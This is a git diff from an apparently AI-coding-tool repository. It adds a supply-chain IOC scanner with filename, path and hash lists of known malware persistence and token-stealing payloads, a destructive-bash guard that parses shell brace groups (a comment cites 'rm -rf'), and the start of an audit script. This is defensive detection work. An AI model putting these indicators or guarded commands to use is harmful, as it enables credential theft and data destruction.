const INSPECT_ONLY_FILENAMES = new Set([
|
||||
'node-ipc.cjs',
|
||||
'node-ipc-9.1.6.tgz',
|
||||
'node-ipc-9.2.3.tgz',
|
||||
'node-ipc-12.0.1.tar.gz',
|
||||
]);
|
||||
|
||||
const PERSISTENCE_FILENAMES = new Set([
|
||||
'settings.json',
|
||||
'tasks.json',
|
||||
'router_runtime.js',
|
||||
'setup.mjs',
|
||||
'pgmonitor.py',
|
||||
'gh-token-monitor.sh',
|
||||
'com.user.gh-token-monitor.plist',
|
||||
'gh-token-monitor.service',
|
||||
'pgsql-monitor.service',
|
||||
'codeql_analysis.yml',
|
||||
'shai-hulud-workflow.yml',
|
||||
]);
|
||||
|
||||
const PAYLOAD_FILENAMES = new Set([
|
||||
'router_init.js',
|
||||
'router_runtime.js',
|
||||
'tanstack_runner.js',
|
||||
'opensearch_init.js',
|
||||
'vite_setup.mjs',
|
||||
'execution.js',
|
||||
'transformers.pyz',
|
||||
'pgmonitor.py',
|
||||
'gh-token-monitor.sh',
|
||||
'com.user.gh-token-monitor.plist',
|
||||
'gh-token-monitor.service',
|
||||
'pgsql-monitor.service',
|
||||
'codeql_analysis.yml',
|
||||
'shai-hulud-workflow.yml',
|
||||
]);
|
||||
|
||||
const IGNORED_DIRS = new Set([
|
||||
@@ -139,7 +393,8 @@ function isInSpecialConfigPath(filePath) {
|
||||
|| /\/\.kiro\/settings\//.test(normalized)
|
||||
|| /\/Library\/LaunchAgents\//.test(normalized)
|
||||
|| /\/\.config\/systemd\/user\//.test(normalized)
|
||||
|| /\/\.local\/bin\//.test(normalized);
|
||||
|| /\/\.local\/bin\//.test(normalized)
|
||||
|| /\/\.github\/workflows\//.test(normalized);
|
||||
}
|
||||
|
||||
function shouldInspectFile(filePath) {
|
||||
@@ -147,6 +402,7 @@ function shouldInspectFile(filePath) {
|
||||
if (DEPENDENCY_FILENAMES.has(base)) return true;
|
||||
if (PERSISTENCE_FILENAMES.has(base) && isInSpecialConfigPath(filePath)) return true;
|
||||
if (PAYLOAD_FILENAMES.has(base) && filePath.includes(`${path.sep}node_modules${path.sep}`)) return true;
|
||||
if (INSPECT_ONLY_FILENAMES.has(base)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -197,7 +453,13 @@ function walkNodeModules(nodeModulesDir, files) {
|
||||
}
|
||||
|
||||
function inspectPackageDir(packageDir, files) {
|
||||
for (const filename of [...DEPENDENCY_FILENAMES, ...PAYLOAD_FILENAMES, 'setup.mjs', 'execution.js']) {
|
||||
for (const filename of [
|
||||
...DEPENDENCY_FILENAMES,
|
||||
...PAYLOAD_FILENAMES,
|
||||
...INSPECT_ONLY_FILENAMES,
|
||||
'setup.mjs',
|
||||
'execution.js',
|
||||
]) {
|
||||
const candidate = path.join(packageDir, filename);
|
||||
if (fs.existsSync(candidate) && fs.statSync(candidate).isFile()) {
|
||||
files.push(candidate);
|
||||
@@ -213,6 +475,14 @@ function readText(filePath) {
|
||||
}
|
||||
}
|
||||
|
||||
function sha256File(filePath) {
|
||||
try {
|
||||
return crypto.createHash('sha256').update(fs.readFileSync(filePath)).digest('hex');
|
||||
} catch {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function lineForIndex(text, index) {
|
||||
return text.slice(0, index).split(/\r?\n/).length;
|
||||
}
|
||||
@@ -230,6 +500,18 @@ function scanFile(filePath, rootDir, findings) {
|
||||
const relativePath = path.relative(rootDir, filePath) || filePath;
|
||||
const text = readText(filePath);
|
||||
const lowerText = normalizeForMatch(text);
|
||||
const hashFinding = MALICIOUS_FILE_HASHES[sha256File(filePath)];
|
||||
|
||||
if (hashFinding) {
|
||||
addFinding(
|
||||
findings,
|
||||
'critical',
|
||||
relativePath,
|
||||
1,
|
||||
hashFinding.indicator,
|
||||
hashFinding.message,
|
||||
);
|
||||
}
|
||||
|
||||
if (PAYLOAD_FILENAMES.has(base)) {
|
||||
addFinding(
|
||||
@@ -287,10 +569,27 @@ function homeTargets(homeDir) {
|
||||
'.vscode/setup.mjs',
|
||||
'Library/LaunchAgents/com.user.gh-token-monitor.plist',
|
||||
'.config/systemd/user/gh-token-monitor.service',
|
||||
'.config/systemd/user/pgsql-monitor.service',
|
||||
'.local/bin/gh-token-monitor.sh',
|
||||
'.local/bin/pgmonitor.py',
|
||||
].map(relativePath => path.join(homeDir, relativePath));
|
||||
}
|
||||
|
||||
function runtimeTargets() {
|
||||
return [
|
||||
'/tmp/transformers.pyz',
|
||||
'/tmp/pgmonitor.py',
|
||||
'/tmp/node-ipc-9.1.6.tgz',
|
||||
'/tmp/node-ipc-9.2.3.tgz',
|
||||
'/tmp/node-ipc-12.0.1.tar.gz',
|
||||
'/private/tmp/transformers.pyz',
|
||||
'/private/tmp/pgmonitor.py',
|
||||
'/private/tmp/node-ipc-9.1.6.tgz',
|
||||
'/private/tmp/node-ipc-9.2.3.tgz',
|
||||
'/private/tmp/node-ipc-12.0.1.tar.gz',
|
||||
];
|
||||
}
|
||||
|
||||
function scanSupplyChainIocs(options = {}) {
|
||||
const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT);
|
||||
const files = walkFiles(rootDir);
|
||||
@@ -300,6 +599,9 @@ function scanSupplyChainIocs(options = {}) {
|
||||
for (const target of homeTargets(options.homeDir || os.homedir())) {
|
||||
if (fs.existsSync(target)) files.push(target);
|
||||
}
|
||||
for (const target of runtimeTargets()) {
|
||||
if (fs.existsSync(target)) files.push(target);
|
||||
}
|
||||
}
|
||||
|
||||
for (const filePath of [...new Set(files)].sort()) {
|
||||
@@ -317,7 +619,9 @@ function parseArgs(argv) {
|
||||
const options = {};
|
||||
for (let i = 0; i < argv.length; i++) {
|
||||
const arg = argv[i];
|
||||
if (arg === '--root') {
|
||||
if (arg === '--help' || arg === '-h') {
|
||||
options.help = true;
|
||||
} else if (arg === '--root') {
|
||||
options.rootDir = argv[++i];
|
||||
} else if (arg === '--home') {
|
||||
options.home = true;
|
||||
@@ -333,6 +637,26 @@ function parseArgs(argv) {
|
||||
return options;
|
||||
}
|
||||
|
||||
function printHelp() {
|
||||
console.log(`Usage: node scripts/ci/scan-supply-chain-iocs.js [options]
|
||||
|
||||
Scan dependency manifests, lockfiles, installed package payloads, and AI-tool
|
||||
persistence paths for active supply-chain IOC markers.
|
||||
|
||||
Options:
|
||||
--root <dir> Directory to scan (default: repo root)
|
||||
--home Also scan user-level Claude, VS Code, LaunchAgent, systemd,
|
||||
and /tmp persistence targets
|
||||
--home-dir <dir> Home directory to use with --home
|
||||
--json Emit JSON instead of text
|
||||
--help, -h Show this help
|
||||
|
||||
Examples:
|
||||
node scripts/ci/scan-supply-chain-iocs.js --home
|
||||
node scripts/ci/scan-supply-chain-iocs.js --root /path/to/project --json
|
||||
`);
|
||||
}
|
||||
|
||||
function printReport(result, json = false) {
|
||||
if (json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
@@ -355,6 +679,10 @@ function printReport(result, json = false) {
|
||||
if (require.main === module) {
|
||||
try {
|
||||
const options = parseArgs(process.argv.slice(2));
|
||||
if (options.help) {
|
||||
printHelp();
|
||||
process.exit(0);
|
||||
}
|
||||
const result = scanSupplyChainIocs(options);
|
||||
printReport(result, options.json);
|
||||
process.exit(result.findings.length > 0 ? 1 : 0);
|
||||
@@ -366,6 +694,7 @@ if (require.main === module) {
|
||||
|
||||
module.exports = {
|
||||
CRITICAL_TEXT_INDICATORS,
|
||||
MALICIOUS_FILE_HASHES,
|
||||
MALICIOUS_PACKAGE_VERSIONS,
|
||||
scanSupplyChainIocs,
|
||||
};
|
||||
|
||||
@@ -45,6 +45,14 @@ const COMMANDS = {
|
||||
script: 'status.js',
|
||||
description: 'Query the ECC SQLite state store status summary',
|
||||
},
|
||||
'platform-audit': {
|
||||
script: 'platform-audit.js',
|
||||
description: 'Audit GitHub queues, discussions, roadmap, release, and security evidence',
|
||||
},
|
||||
'security-ioc-scan': {
|
||||
script: 'ci/scan-supply-chain-iocs.js',
|
||||
description: 'Scan dependency and AI-tool persistence surfaces for active supply-chain IOCs',
|
||||
},
|
||||
sessions: {
|
||||
script: 'sessions-cli.js',
|
||||
description: 'List or inspect ECC sessions from the SQLite state store',
|
||||
@@ -77,6 +85,8 @@ const PRIMARY_COMMANDS = [
|
||||
'repair',
|
||||
'auto-update',
|
||||
'status',
|
||||
'platform-audit',
|
||||
'security-ioc-scan',
|
||||
'sessions',
|
||||
'work-items',
|
||||
'session-inspect',
|
||||
@@ -115,6 +125,8 @@ Examples:
|
||||
ecc status --json
|
||||
ecc status --exit-code
|
||||
ecc status --markdown --write status.md
|
||||
ecc platform-audit --json --allow-untracked docs/drafts/
|
||||
ecc security-ioc-scan --home
|
||||
ecc sessions
|
||||
ecc sessions session-active --json
|
||||
ecc work-items upsert linear-ecc-20 --source linear --source-id ECC-20 --title "Review control-plane contract" --status blocked
|
||||
|
||||
@@ -25,6 +25,11 @@
|
||||
const crypto = require('crypto');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const {
|
||||
extractCommandSubstitutions,
|
||||
extractSubshellGroups,
|
||||
extractBraceGroups
|
||||
} = require('../lib/shell-substitution');
|
||||
|
||||
// Session state — scoped per session to avoid cross-session races.
|
||||
const STATE_DIR = process.env.GATEGUARD_STATE_DIR || path.join(process.env.HOME || process.env.USERPROFILE || '/tmp', '.gateguard');
|
||||
@@ -84,105 +89,6 @@ function explodeSubshells(input) {
|
||||
return out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract executable command-substitution bodies from a shell line. Single
|
||||
* quotes are literal, so substitutions inside them are ignored; double quotes
|
||||
* still permit substitutions, so those bodies are scanned before quoted text
|
||||
* is stripped.
|
||||
*
|
||||
* @param {string} input
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function extractCommandSubstitutions(input) {
|
||||
const source = String(input || '');
|
||||
const substitutions = [];
|
||||
let inSingle = false;
|
||||
let inDouble = false;
|
||||
|
||||
for (let i = 0; i < source.length; i++) {
|
||||
const ch = source[i];
|
||||
const prev = source[i - 1];
|
||||
|
||||
if (ch === '\\' && !inSingle) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "'" && !inDouble && prev !== '\\') {
|
||||
inSingle = !inSingle;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '"' && !inSingle && prev !== '\\') {
|
||||
inDouble = !inDouble;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inSingle) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '`') {
|
||||
let body = '';
|
||||
i += 1;
|
||||
while (i < source.length) {
|
||||
const inner = source[i];
|
||||
if (inner === '\\') {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === '`') {
|
||||
break;
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
substitutions.push(body);
|
||||
substitutions.push(...extractCommandSubstitutions(body));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '$' && source[i + 1] === '(') {
|
||||
let depth = 1;
|
||||
let body = '';
|
||||
i += 2;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
if (inner === '\\') {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === '(') {
|
||||
depth += 1;
|
||||
} else if (inner === ')') {
|
||||
depth -= 1;
|
||||
if (depth === 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
substitutions.push(body);
|
||||
substitutions.push(...extractCommandSubstitutions(body));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return substitutions;
|
||||
}
|
||||
|
||||
/**
|
||||
* Split a command line into top-level segments at unquoted shell
|
||||
* separators (`;`, `|`, `&`, `&&`, `||`) and across subshells
|
||||
@@ -392,6 +298,54 @@ function isDestructiveGit(tokens) {
|
||||
* @param {string} command
|
||||
* @returns {boolean}
|
||||
*/
|
||||
/**
|
||||
* Walk every executable body reachable from a raw command line and
|
||||
* return them as a flat list. Bodies that bash will execute live in
|
||||
* three different syntactic constructs, each handled by a sibling
|
||||
* extractor in `scripts/lib/shell-substitution.js`:
|
||||
* - `$(...)` and backticks via `extractCommandSubstitutions`
|
||||
* - plain `(...)` subshells via `extractSubshellGroups`
|
||||
* - `{ ...; }` brace groups via `extractBraceGroups`
|
||||
*
|
||||
* Each extractor recurses into its own syntax. The BFS here adds
|
||||
* cross-syntax discovery — e.g. a `(...)` inside a `$(...)` body, or
|
||||
* a `{ ...; }` inside a `(...)` body — by feeding every harvested
|
||||
* body back through all three extractors. A `seen` set bounds the
|
||||
* cost to O(unique bodies).
|
||||
*
|
||||
* @param {string} raw
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function collectExecutableBodies(raw) {
|
||||
const bodies = [raw];
|
||||
const queue = [raw];
|
||||
const seen = new Set();
|
||||
|
||||
while (queue.length) {
|
||||
const current = queue.shift();
|
||||
if (seen.has(current)) continue;
|
||||
seen.add(current);
|
||||
|
||||
for (const body of extractCommandSubstitutions(current)) {
|
||||
if (seen.has(body)) continue;
|
||||
bodies.push(body);
|
||||
queue.push(body);
|
||||
}
|
||||
for (const body of extractSubshellGroups(current)) {
|
||||
if (seen.has(body)) continue;
|
||||
bodies.push(body);
|
||||
queue.push(body);
|
||||
}
|
||||
for (const body of extractBraceGroups(current)) {
|
||||
if (seen.has(body)) continue;
|
||||
bodies.push(body);
|
||||
queue.push(body);
|
||||
}
|
||||
}
|
||||
|
||||
return bodies;
|
||||
}
|
||||
|
||||
function isDestructiveBash(command) {
|
||||
// The SQL/dd phrases live in command bodies, not as flag-bearing
|
||||
// arguments, so we still match them by regex — but on the input
|
||||
@@ -401,7 +355,7 @@ function isDestructiveBash(command) {
|
||||
const flattened = explodeSubshells(stripQuotedStrings(raw));
|
||||
if (DESTRUCTIVE_SQL_DD.test(flattened)) return true;
|
||||
|
||||
const segments = [raw, ...extractCommandSubstitutions(raw)].flatMap(splitCommandSegments);
|
||||
const segments = collectExecutableBodies(raw).flatMap(splitCommandSegments);
|
||||
for (const segment of segments) {
|
||||
if (DESTRUCTIVE_SQL_DD.test(stripQuotedStrings(segment))) return true;
|
||||
const tokens = tokenize(segment);
|
||||
|
||||
@@ -243,4 +243,252 @@ function extractSubshellGroups(input) {
|
||||
return groups;
|
||||
}
|
||||
|
||||
module.exports = { extractCommandSubstitutions, extractSubshellGroups };
|
||||
/**
|
||||
* Extract bodies of `{ ...; }` brace groups.
|
||||
*
|
||||
* Bash brace groups run their body in the *current* shell (unlike `(...)`,
|
||||
* which forks a subshell). Both forms group multiple commands, so for the
|
||||
* purposes of destructive-bash and dev-server detection they are equivalent:
|
||||
* a `rm -rf` or `npm run dev` inside `{ ...; }` still executes.
|
||||
*
|
||||
* Recognition rules match bash's own reserved-word semantics:
|
||||
* - `{` is a reserved word only when followed by whitespace and preceded by
|
||||
* the line start, whitespace, or a shell operator (`;`, `|`, `&`, `(`).
|
||||
* So `{npm run dev}` is NOT a brace group (single token starting with `{`).
|
||||
* - `}` closes the group only when preceded by `;` or whitespace.
|
||||
* So `foo}` inside the body is not a closing brace.
|
||||
* - Single quotes are literal; double quotes are also literal for `{`/`}`.
|
||||
* - `$(...)`, backticks, and plain `(...)` spans are skipped so we don't
|
||||
* double-extract bodies the sibling extractors already cover.
|
||||
*
|
||||
* @param {string} input
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function extractBraceGroups(input) {
|
||||
const source = String(input || '');
|
||||
const groups = [];
|
||||
let inSingle = false;
|
||||
let inDouble = false;
|
||||
|
||||
for (let i = 0; i < source.length; i++) {
|
||||
const ch = source[i];
|
||||
const prev = source[i - 1];
|
||||
|
||||
if (ch === '\\' && !inSingle) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "'" && !inDouble && prev !== '\\') {
|
||||
inSingle = !inSingle;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '"' && !inSingle && prev !== '\\') {
|
||||
inDouble = !inDouble;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inSingle || inDouble) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '$' && source[i + 1] === '(') {
|
||||
let depth = 1;
|
||||
let skipInSingle = false;
|
||||
let skipInDouble = false;
|
||||
i += 2;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !skipInSingle) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
|
||||
skipInSingle = !skipInSingle;
|
||||
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
|
||||
skipInDouble = !skipInDouble;
|
||||
} else if (!skipInSingle && !skipInDouble) {
|
||||
if (inner === '(') depth += 1;
|
||||
else if (inner === ')') depth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
i -= 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '`') {
|
||||
i += 1;
|
||||
while (i < source.length && source[i] !== '`') {
|
||||
if (source[i] === '\\' && i + 1 < source.length) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '(') {
|
||||
let depth = 1;
|
||||
let skipInSingle = false;
|
||||
let skipInDouble = false;
|
||||
i += 1;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !skipInSingle) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
|
||||
skipInSingle = !skipInSingle;
|
||||
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
|
||||
skipInDouble = !skipInDouble;
|
||||
} else if (!skipInSingle && !skipInDouble) {
|
||||
if (inner === '(') depth += 1;
|
||||
else if (inner === ')') depth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
i -= 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '{' && /\s/.test(source[i + 1] || '')) {
|
||||
const prevIsBoundary = i === 0 || /[\s;|&(]/.test(prev);
|
||||
if (!prevIsBoundary) continue;
|
||||
|
||||
let depth = 1;
|
||||
let body = '';
|
||||
let bodyInSingle = false;
|
||||
let bodyInDouble = false;
|
||||
i += 1;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !bodyInSingle) {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
|
||||
bodyInSingle = !bodyInSingle;
|
||||
body += inner;
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
if (inner === '"' && !bodyInSingle && innerPrev !== '\\') {
|
||||
bodyInDouble = !bodyInDouble;
|
||||
body += inner;
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
if (bodyInSingle || bodyInDouble) {
|
||||
body += inner;
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
// Skip $(...) spans — a quoted `}` or `}`-as-text inside a
|
||||
// substitution body must not close the enclosing brace group.
|
||||
if (inner === '$' && source[i + 1] === '(') {
|
||||
body += inner + source[i + 1];
|
||||
let subDepth = 1;
|
||||
let subInSingle = false;
|
||||
let subInDouble = false;
|
||||
i += 2;
|
||||
while (i < source.length && subDepth > 0) {
|
||||
const c = source[i];
|
||||
const p = source[i - 1];
|
||||
body += c;
|
||||
if (c === '\\' && !subInSingle && i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
|
||||
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
|
||||
else if (!subInSingle && !subInDouble) {
|
||||
if (c === '(') subDepth += 1;
|
||||
else if (c === ')') subDepth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// Skip backtick spans for the same reason.
|
||||
if (inner === '`') {
|
||||
body += inner;
|
||||
i += 1;
|
||||
while (i < source.length && source[i] !== '`') {
|
||||
if (source[i] === '\\' && i + 1 < source.length) {
|
||||
body += source[i] + source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
body += source[i];
|
||||
i += 1;
|
||||
}
|
||||
if (i < source.length) {
|
||||
body += source[i];
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// Skip plain (...) subshell spans for the same reason.
|
||||
if (inner === '(') {
|
||||
body += inner;
|
||||
let subDepth = 1;
|
||||
let subInSingle = false;
|
||||
let subInDouble = false;
|
||||
i += 1;
|
||||
while (i < source.length && subDepth > 0) {
|
||||
const c = source[i];
|
||||
const p = source[i - 1];
|
||||
body += c;
|
||||
if (c === '\\' && !subInSingle && i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
|
||||
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
|
||||
else if (!subInSingle && !subInDouble) {
|
||||
if (c === '(') subDepth += 1;
|
||||
else if (c === ')') subDepth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (inner === '{' && /\s/.test(source[i + 1] || '')) {
|
||||
// Match the outer-scan boundary rule for nested `{` so
|
||||
// tokens like `foo{` (no boundary, but followed by space
|
||||
// via `foo{ bar`) cannot bump nested depth.
|
||||
const nestedPrevIsBoundary = /[\s;|&(]/.test(innerPrev);
|
||||
if (nestedPrevIsBoundary) depth += 1;
|
||||
} else if (inner === '}' && (innerPrev === ';' || /\s/.test(innerPrev))) {
|
||||
depth -= 1;
|
||||
if (depth === 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
groups.push(body);
|
||||
groups.push(...extractBraceGroups(body));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return groups;
|
||||
}
|
||||
|
||||
module.exports = { extractCommandSubstitutions, extractSubshellGroups, extractBraceGroups };
|
||||
|
||||
630
scripts/platform-audit.js
Normal file
630
scripts/platform-audit.js
Normal file
@@ -0,0 +1,630 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawnSync } = require('child_process');
|
||||
|
||||
const SCHEMA_VERSION = 'ecc.platform-audit.v1';
|
||||
const DEFAULT_REPOS = Object.freeze([
|
||||
'affaan-m/everything-claude-code',
|
||||
'affaan-m/agentshield',
|
||||
'affaan-m/JARVIS',
|
||||
'ECC-Tools/ECC-Tools',
|
||||
'ECC-Tools/ECC-website',
|
||||
]);
|
||||
const DEFAULT_THRESHOLDS = Object.freeze({
|
||||
maxOpenPrs: 20,
|
||||
maxOpenIssues: 20,
|
||||
maxDirtyFiles: 0,
|
||||
});
|
||||
const MAINTAINER_ASSOCIATIONS = new Set(['OWNER', 'MEMBER', 'COLLABORATOR']);
|
||||
const DISCUSSION_QUERY = 'query($owner: String!, $name: String!, $first: Int!) { repository(owner: $owner, name: $name) { hasDiscussionsEnabled discussions(first: $first, orderBy: {field: UPDATED_AT, direction: DESC}) { totalCount nodes { number title url updatedAt authorAssociation comments(first: 20) { nodes { authorAssociation } } } } } }';
|
||||
|
||||
function usage() {
|
||||
console.log([
|
||||
'Usage: node scripts/platform-audit.js [options]',
|
||||
'',
|
||||
'Operator readiness audit for ECC queue, discussion, roadmap, release, and security evidence.',
|
||||
'',
|
||||
'Options:',
|
||||
' --format <text|json> Output format (default: text)',
|
||||
' --root <dir> Repository root to inspect (default: cwd)',
|
||||
' --repo <owner/repo> GitHub repo to inspect; repeatable',
|
||||
' --skip-github Skip live GitHub queue/discussion checks',
|
||||
' --max-open-prs <n> Fail when open PR count is above n (default: 20)',
|
||||
' --max-open-issues <n> Fail when open issue count is above n (default: 20)',
|
||||
' --max-dirty-files <n> Fail when blocking dirty file count is above n (default: 0)',
|
||||
' --allow-untracked <path> Ignore untracked files under path; repeatable',
|
||||
' --use-env-github-token Keep GITHUB_TOKEN when invoking gh',
|
||||
' --exit-code Return 2 when the audit is not ready',
|
||||
' --help, -h Show this help',
|
||||
].join('\n'));
|
||||
}
|
||||
|
||||
function readValue(args, index, flagName) {
|
||||
const value = args[index + 1];
|
||||
if (!value || value.startsWith('--')) {
|
||||
throw new Error(`${flagName} requires a value`);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
function parseIntegerFlag(value, flagName) {
|
||||
const parsed = Number.parseInt(value, 10);
|
||||
if (!Number.isFinite(parsed) || parsed < 0) {
|
||||
throw new Error(`Invalid ${flagName}: ${value}`);
|
||||
}
|
||||
return parsed;
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
const args = argv.slice(2);
|
||||
const parsed = {
|
||||
allowUntracked: [],
|
||||
exitCode: false,
|
||||
format: 'text',
|
||||
help: false,
|
||||
repos: [],
|
||||
root: path.resolve(process.cwd()),
|
||||
skipGithub: false,
|
||||
thresholds: { ...DEFAULT_THRESHOLDS },
|
||||
useEnvGithubToken: false,
|
||||
};
|
||||
|
||||
for (let index = 0; index < args.length; index += 1) {
|
||||
const arg = args[index];
|
||||
|
||||
if (arg === '--help' || arg === '-h') {
|
||||
parsed.help = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--format') {
|
||||
parsed.format = readValue(args, index, arg).toLowerCase();
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--format=')) {
|
||||
parsed.format = arg.slice('--format='.length).toLowerCase();
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--root') {
|
||||
parsed.root = path.resolve(readValue(args, index, arg));
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--root=')) {
|
||||
parsed.root = path.resolve(arg.slice('--root='.length));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--repo') {
|
||||
parsed.repos.push(readValue(args, index, arg));
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--repo=')) {
|
||||
parsed.repos.push(arg.slice('--repo='.length));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--skip-github') {
|
||||
parsed.skipGithub = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--allow-untracked') {
|
||||
parsed.allowUntracked.push(readValue(args, index, arg));
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--allow-untracked=')) {
|
||||
parsed.allowUntracked.push(arg.slice('--allow-untracked='.length));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--max-open-prs') {
|
||||
parsed.thresholds.maxOpenPrs = parseIntegerFlag(readValue(args, index, arg), arg);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--max-open-prs=')) {
|
||||
parsed.thresholds.maxOpenPrs = parseIntegerFlag(arg.slice('--max-open-prs='.length), '--max-open-prs');
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--max-open-issues') {
|
||||
parsed.thresholds.maxOpenIssues = parseIntegerFlag(readValue(args, index, arg), arg);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--max-open-issues=')) {
|
||||
parsed.thresholds.maxOpenIssues = parseIntegerFlag(arg.slice('--max-open-issues='.length), '--max-open-issues');
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--max-dirty-files') {
|
||||
parsed.thresholds.maxDirtyFiles = parseIntegerFlag(readValue(args, index, arg), arg);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--max-dirty-files=')) {
|
||||
parsed.thresholds.maxDirtyFiles = parseIntegerFlag(arg.slice('--max-dirty-files='.length), '--max-dirty-files');
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--use-env-github-token') {
|
||||
parsed.useEnvGithubToken = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--exit-code') {
|
||||
parsed.exitCode = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
throw new Error(`Unknown argument: ${arg}`);
|
||||
}
|
||||
|
||||
if (!['text', 'json'].includes(parsed.format)) {
|
||||
throw new Error(`Invalid format: ${parsed.format}. Use text or json.`);
|
||||
}
|
||||
|
||||
parsed.allowUntracked = parsed.allowUntracked.map(normalizeRelativePrefix);
|
||||
|
||||
return parsed;
|
||||
}
|
||||
|
||||
function normalizeRelativePrefix(value) {
|
||||
return String(value || '')
|
||||
.replace(/\\/g, '/')
|
||||
.replace(/^\.\/+/, '')
|
||||
.replace(/\/+$/, '') + (String(value || '').endsWith('/') ? '/' : '');
|
||||
}
|
||||
|
||||
function runCommand(command, args, options = {}) {
|
||||
const result = spawnSync(command, args, {
|
||||
cwd: options.cwd,
|
||||
env: options.env || process.env,
|
||||
encoding: 'utf8',
|
